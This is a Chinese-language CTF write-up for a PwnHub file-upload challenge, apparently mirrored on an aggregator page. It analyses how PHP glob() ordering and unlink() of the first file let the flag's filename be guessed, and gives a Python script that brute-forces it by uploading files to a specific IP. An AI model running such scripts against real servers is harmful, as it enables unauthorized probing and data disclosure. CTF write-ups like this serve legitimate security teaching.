PwnHub-另一份文件-WriteUP
来源:互联网 发布:企业域名注册 编辑:程序博客网 时间:2024/06/05 22:43
PwnHub-另一份文件-WriteUP
author: River_Heart@Syclover
- PwnHub-另一份文件-WriteUP
- author River_HeartSyclover
- 0x00
- 0x01
- 0x02 提示
- 0x03 分析
- 0x04 exploit
- 0x05 我好菜啊TT
0x00 ✪ω✪
URL:http://54.223.145.113:88/
0x01 =。=
一开始啥提示也没有,只有一个上传点,当然就想着是要拿shell了,但是穷尽所有知道的姿势后,并没有什么突破。
0x02 提示
后来提示出来了
不用拿shell,还给了一段源码
@move_uploaded_file($_FILES['file']['tmp_name'], $dir.$name);echo "上传成功!\n\n文件内容:\n\n";echo file_get_contents($dir.$name);$files = glob($dir . '*'); @unlink($files[0]);
还是有点懵,后来向AK莴苣和学长们学习了下思路,终于明白点了什么。Orz
0x03 分析
问题出在 $files = glob($dir . '*')
和 unlink($files[0])
这两句 glob
函数采用正则的方式去匹配路径下的文件或目录名并返回一个数组。这里规则是*
。
所以程序完成的工作就是
1. 返回所有$dir
目录下的所有文件到$files
中。
2. 然后再删除$files
数组中的第一个元素指向的文件。
我们来看看glob
函数返回的数组的排序规则
$echo > 1.php$echo > 2.php...$echo > a.php$echo > A.php$echo > Z.php$echo > z.php$echo > za.php$echo > zA.php$echo > zaa.php$echo > zaA.php
9.php
的内容
<?php$dir = getcwd() . "/";$files = glob($dir . '*');echo var_dump($files);?>
访问9.php
可以看到
array(17) { [0]=> string(24) "/var/www/html/1.php" [1]=> string(24) "/var/www/html/2.php" ... [8]=> string(24) "/var/www/html/9.php" [9]=> string(24) "/var/www/html/A.php" [10]=> string(24) "/var/www/html/Z.php" [11]=> string(24) "/var/www/html/a.php" [12]=> string(24) "/var/www/html/z.php" [13]=> string(25) "/var/www/html/zA.php" [14]=> string(25) "/var/www/html/za.php" [15]=> string(26) "/var/www/html/zaA.php" [16]=> string(26) "/var/www/html/zaa.php"}
这是按照ascii值的大小来排的序。也就是说每次会删除$dir
目录下ascii码值最靠前的文件。
通过提示,flag文件是最高权限账户放的,apache应该没有权限删除flag文件。
也就是说如果我们上传文件名的ascii码值比flag文件的值大的话,就不会被删除了。
这样我们就可以通过判断文件是否可以被访问到而将flag的文件名跑出来了。
0x04 exploit
"""author: River_Heartdate: 2016/12/8"""import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20160101 Firefox/55.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate' }def upload(filename): url = 'http://54.223.145.113:88/upload.php' files = {'file': (filename, 'RiverHeart', 'multipart/form-data')} count = 0 while count < 2: try: response = requests.post(url=url, headers=headers, files=files) if 'flag' in response.content or 'pwnhub' in response.content: print '[+] flag found ! ' print response.content return 'exit' if 'RiverHeart' in response.content: return check(filename) except Exception, e: print e count += 1def check(filename): url = 'http://54.223.145.113:88/upload/' + filename try: response = requests.get(url=url, headers=headers) if response.status_code == 200: return True else: return False except: passif __name__ == '__main__': flag_file_name = '' flag = '' strs = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{' while len(flag_file_name) < 40: for i in strs: flag = upload(flag_file_name + i) if flag == True: if strs.index(i) > 0: flag_file_name += strs[strs.index(i)-1] else: flag_file_name += '0' break elif flag == 'exit': print '[+] flag file is : ', flag_file_name + i exit() print flag_file_name
0x05 我好菜啊T^T
思路还是不够猥琐呀,还不能得到邀请码。
0 0
- PwnHub-另一份文件-WriteUP
- pwnhub——胖哈勃外传-第一集 writeup
- pwnhub——胖哈勃外传-第一集 writeup
- Archlinux安装笔记(另一份)
- c语言实现删除一个txt文件中含有xxx内容的一行,并把删除之后的文件写成另一份txt文件
- bugku ctf文件包含 writeup
- 两份文件的比较
- 移植删除不需要份文件
- Shell 拷贝多份文件
- pg_basebackup 不备份哪些文件
- 两份文件的比较
- Jarvis oj 文件数据修复 writeup
- 另一份Java应用调优指南之-工具篇
- php webservice实现客户端提交数据库数据到服务器并返回另一份数据库数据
- 備份Sqlite DB到XML文件:
- iOS中设置文件不备份
- 用C#复制文件到另一磁盘
- PHP文件上传至另一台服务器
- AsyncTask 带进度条工具类
- adb 启动Activity、Service,发送Broadcast以及Android常用的adb指令
- 监听输入框时时输入内容
- LA3983 Robotruck
- HBase核心功能模块--读书笔记
- PwnHub-另一份文件-WriteUP
- Java隐藏手机号中间四位,隐藏身份证中间数字
- 欢迎使用CSDN-markdown编辑器
- 配置springmvc/myeclipse开发环境及服务器安全
- 图片验证码识别软件实现自动打码HTTP接口说明
- JAVA解析DICOM图之获得16进制数据
- 一些概念
- mysql主从配置延迟
- Codeforces 742DArpa's weak amphitheater 并查集+01背包